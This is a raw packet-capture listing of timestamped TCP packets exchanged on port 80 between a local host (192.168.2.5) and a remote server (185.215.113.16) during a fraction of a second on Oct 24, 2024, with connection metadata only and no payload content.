Oct 24, 2024 19:29:28.765495062 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.765530109 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.765543938 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.765563965 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.765578032 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.765598059 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.765631914 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.765666008 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.765678883 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.765702963 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.765718937 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.765738010 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.765770912 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.765804052 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.765815973 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.765837908 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.765856981 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.765892029 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.765928984 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.765938997 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.765964985 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.765999079 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.766033888 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.766047001 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.766068935 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.766077995 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.766103983 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.766135931 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.766149044 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.766171932 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.766212940 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.766228914 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.766246080 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.766278982 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.766313076 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.766326904 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.766347885 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.766361952 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.766381979 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.766413927 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.766426086 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.766448975 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.766484976 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.766520023 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.766535997 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.766555071 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.766558886 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.766590118 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.766623974 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.766657114 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.766670942 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.766691923 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.766702890 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.766726971 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.766760111 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.766771078 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.766809940 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.766859055 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.766860962 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.766896963 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.766928911 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.766963005 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.766972065 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.766993046 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.767005920 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.767028093 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.767064095 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.767097950 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.767112017 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.767132998 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.767141104 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.767170906 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.767209053 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.767221928 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.767242908 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.767277002 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.767311096 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.767328978 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.767373085 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.767379045 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.767414093 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.767447948 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.767477036 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.767492056 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.767512083 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.767524004 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.767548084 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.767580986 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.767605066 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.767615080 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.767649889 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.767682076 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.767683983 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.767719984 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.767743111 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.767762899 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.767816067 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.767841101 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.767853975 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.767888069 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.767894983 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.767924070 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.767961025 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.767995119 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.767997980 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.768028975 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.768037081 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.768064022 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.768098116 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.768105030 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.768137932 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.768172026 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.768182993 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.768207073 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.768239975 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.768254995 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.768275023 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.768307924 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.768341064 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.768342972 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.768376112 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.768388033 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.768410921 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.768445015 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.768455029 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.768482924 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.768517017 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.768544912 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.768549919 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.768558025 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.768584013 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.768595934 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.768625021 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.768659115 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.768692970 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.768702030 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.768733978 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.768748045 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.768783092 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.768816948 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.768850088 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.768857956 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.768883944 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.768892050 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.768918991 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.768954039 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.768969059 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.768987894 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.769021034 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.769054890 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.769066095 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.769090891 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.769095898 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.769125938 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.769155979 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.769190073 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.769197941 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.769223928 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.769229889 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.769257069 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.769290924 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.769325018 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.769330025 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.769359112 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.769365072 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.769392967 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.769427061 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.769433022 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.769460917 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.769494057 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.769536972 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.769545078 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.769578934 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.769596100 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.769622087 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.769656897 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.769666910 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.769707918 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.769754887 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.769761086 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.769797087 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.769829988 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.769845963 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.769860029 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.769892931 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.769902945 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.769928932 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.769964933 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.769998074 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.770013094 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.770032883 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.770057917 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.770067930 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.770101070 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.770134926 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.770152092 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.770169020 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.770183086 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.770203114 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.770236015 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.770248890 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.770271063 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.770306110 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.770320892 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.770339966 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.770375967 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.770410061 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.770421982 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.770445108 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.770451069 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.770481110 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.770514011 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.770549059 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.770558119 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.770582914 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.770593882 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.770617962 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.770662069 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.770669937 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.770705938 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.770739079 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.770771980 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.770783901 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.770806074 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.770853043 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.770865917 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.770900011 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.770911932 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.770934105 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.770970106 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.771006107 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.771030903 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.771039963 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.771076918 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.771089077 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.771111965 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.771145105 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.771152973 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.771179914 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.771186113 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.771214008 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.771248102 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.771269083 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.771276951 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.771311045 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.771361113 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.771375895 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.771394968 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.771404982 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.771430969 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.771466017 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.771496058 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.771500111 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.771533966 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.771547079 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.771567106 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.771600008 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.771609068 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.771658897 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.771692991 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.771714926 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.771724939 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.771759987 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.771766901 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.771795034 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.771827936 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.771862030 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.771867990 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.771897078 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.771903992 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.771933079 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.771969080 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.772002935 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.772017002 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.772038937 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.772062063 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.772073030 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.772109032 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.772115946 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.772144079 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.772226095 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.772269964 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.772303104 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.772337914 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.772382975 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.772388935 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.772424936 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.772458076 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.772501945 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.772510052 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.772545099 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.772556067 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.772578955 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.772613049 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.772648096 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.772665024 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.772681952 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.772687912 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.772718906 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.772752047 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.772763014 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.772787094 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.772819996 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.772854090 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.772866011 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.772892952 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.772892952 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.772928953 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.772964954 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.773000002 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.773032904 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.773035049 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.773045063 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.773070097 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.773102999 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.773113012 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.773139000 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.773173094 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.773180962 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.773206949 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.773241997 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.773267984 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.773274899 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.773325920 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.773355007 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.773377895 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.773411989 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.773421049 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.773447037 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.773482084 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.773502111 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:28.773515940 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:28.773550034 CEST	80	49725	185.215.113.16	192.168.2.5
